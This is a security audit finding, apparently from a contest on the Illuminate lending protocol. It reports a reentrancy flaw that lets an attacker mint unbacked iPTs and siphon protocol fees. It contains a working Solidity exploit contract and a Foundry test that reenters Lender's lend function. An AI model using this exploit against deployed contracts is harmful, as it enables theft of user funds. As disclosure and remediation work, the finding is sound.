kenzo

high

# Reentrancy in lending functions allows attacker to mint infinite amount of iPTs

## Summary
Some of the lending functions get a user-controlled contract as a swapping pool and call it.
The lending function checks Lender's balance before and after the call to quantify the amount of tokens received.
But an attacker can reenter the contract, thereby fooling this check and minting arbitrary amount of tokens to itself.

## Vulnerability Detail
This pattern is present when lending for protocols Illuminate, Yield, Swivel, APWine, Sense, Element.
Let's look at Sense's `lend` for example.
The (truncated) function is as follows:
```solidity
            uint256 starting = token.balanceOf(address(this));
            ISensePeriphery(x).swapUnderlyingForPTs(adapter, s, lent, r);
            received = token.balanceOf(address(this)) - starting;
            IERC5095(principalToken(u, m)).authMint(msg.sender, received);
```
`x` is a user supplied parameter.
An attacker can supply as `x` a contract which upon the first call, reenters `Lender`, and upon the second call, does a real swap on Sense (or just sends PTs to `Lender`). In that case, both the first and second `lend` calls will calculate that the contract received `delta` principal from the attacker, although it was received only once. So the attacker would get twice the amount of iPTs. I've created a POC below.

## Impact
Loss of user funds.
Infinite minting of iPTs is possible.
Attacker may then dump them on the market,
or mint them just before market maturity, and then redeem them, thereby stealing user funds.

Bonus:
The reentrancy also allows an attacker to steal protocol fees, eg. through Sense or APWine lending which doesn't verify the supplied pool/adapter.
The attacker would start a lend call for an expensive underlying (stEth). Sense's `swapUnderlyingForPTs` call would call the attacker contract which would call Sense function again, but with a cheap underlying (DAI), and an adapter that will swap stEth, not DAI. This stEth is present in `Lender` due to user fees. This second function call would swap stEth for the PT and mint nothing to the attacker (since `u==DAI`). But then the first function would resume, seeing that the contract received stEth PTs, and would mint to the attacker stEth iPTs on the expense of the protocol's fees. So the attacker supplied DAI and received equal amount of stEth, not a bad trade.

## Code Snippet
Above I've pasted Sense's function.
Yield, Illuminate and Swivel (via `swivelLendPremium`) all use the `yield` function which [contains](https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L928) the same vulnerable pattern (truncated. `y` is user supplied pool):
```solidity
        uint256 starting = IERC20(p).balanceOf(r);
        IYield(y).sellBase(r, returned);
        uint256 received = IERC20(p).balanceOf(r) - starting;
```

Element [function](https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L1001) (`e` is user supplied):
```solidity
        uint256 starting = IERC20(principal).balanceOf(address(this));
        IElementVault(e).swap(s, f, r, d);
        uint256 purchased = IERC20(principal).balanceOf(address(this)) - starting;
```

And [same pattern](https://github.com/sherlock-audit/2022-10-illuminate/blob/main/src/Lender.sol#L598) for APWine.
```solidity
        uint256 starting = IERC20(principal).balanceOf(address(this));
        IAPWineRouter(x).swapExactAmountIn(...);
        uint256 received = IERC20(principal).balanceOf(address(this)) - starting;
```

## Proof of Concept
The following test will demonstrate the vulnerability.
Paste it in fork/Lender.t.sol. The test should go after all the tests, inside `contract LenderTest` block, and the contract should go outside that block.
```solidity
function testInfiniteMintWithReentrancy() public {
        deployMarket(Contracts.WETH);

        // For ease of POC we will seed attacker with initialBalance of SensePT.
        // He will end up with initialBalance * (timesToRenter + 1) iPTs.
        uint256 initialBalance = 100 ether;
        uint256 timesToRenter = 100;
        ReentrancyAttacker attackContract = new ReentrancyAttacker();
        deal(Contracts.SENSE_TOKEN, address(attackContract), initialBalance);

        attackContract.executeVeryProfitableContractInteraction(l, IERC20(Contracts.SENSE_TOKEN), Contracts.WETH, maturity, timesToRenter);

        address ipt = mp.markets(Contracts.WETH, maturity, 0);
        // Attacker has [initialBalance * (timesToRenter + 1)] iPTs although he started with only initialBalance iPTs.
        assertEq(IERC20(ipt).balanceOf(address(attackContract)), initialBalance * (timesToRenter + 1));
    }
```

```solidity
contract ReentrancyAttacker {
    uint256 timesToReenter;
    IERC20 pt;
    Lender lender;
    address u;
    uint256 m;

    function callLend() internal {
        // Call Lender for Sense protocol
        lender.lend(6, u, m, 0, 0, address(this), 0, address(0));
    }

    function executeVeryProfitableContractInteraction(Lender _lender, IERC20 _pt, address _u, uint256 _m, uint256 _timesToReenter) public {
        lender = _lender;
        pt = _pt;
        u = _u;
        m = _m;
        timesToReenter = _timesToReenter;

        callLend();
    }

    // The callback from Lender
    function swapUnderlyingForPTs(address, uint256, uint256, uint256) external returns (uint256 r) {
        r = 23; // just to silence compiler warning üòê
        if (timesToReenter == 0) {
            uint256 balance = pt.balanceOf(address(this));
            pt.transfer(address(lender), balance);
        } else {
            timesToReenter--;
            callLend();
        }
    }
}
```
## Tool used
Manual Review

## Recommendation
Add reentrancy lock on the lending functions.